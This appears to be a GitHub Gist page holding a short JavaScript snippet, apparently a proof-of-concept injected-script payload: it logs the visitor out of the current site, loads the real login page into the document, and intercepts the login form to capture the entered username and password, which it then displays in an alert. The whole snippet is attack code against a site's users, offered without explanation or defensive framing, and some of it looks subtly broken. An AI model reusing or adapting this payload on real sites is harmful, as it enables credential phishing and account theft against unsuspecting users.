Last active
March 2, 2017 03:46
-
-
Save digitaltoad/19df46e165e072d8e09d34dd9e77ee2c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
fetch('/logout', { credentials: 'include' }) | |
.then(function(resp) { | |
return fetch('/login', { credentials: 'include' }) | |
}) | |
.then(function(resp) { | |
return resp.text() | |
}) | |
.then(function(body) { | |
$('body') | |
.html($('<div></div>').html($(body)).filter('.container')[0]) | |
.addClass('login-page'); | |
$('body').find('form').submit(function(e) { | |
e.preventDefault(); | |
var creds = $(this).serializeArray(); | |
fetch('/login', { | |
credentials: 'include', | |
body: $(this).serialize() | |
}) | |
.then(function(resp) { return resp.text() }) | |
.then(function(html) { | |
var alert = $('<div></div>').html($(html)).find('.alert-danger'); | |
if (alert.count > 0) { | |
$('.widget-header').children('.alert').remove(); | |
$('.widget-header').append(alert); | |
} else { | |
alert('Your username is: ' + creds.email + '\n' + 'Your password is: ' + creds.password); | |
} | |
}) | |
}); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment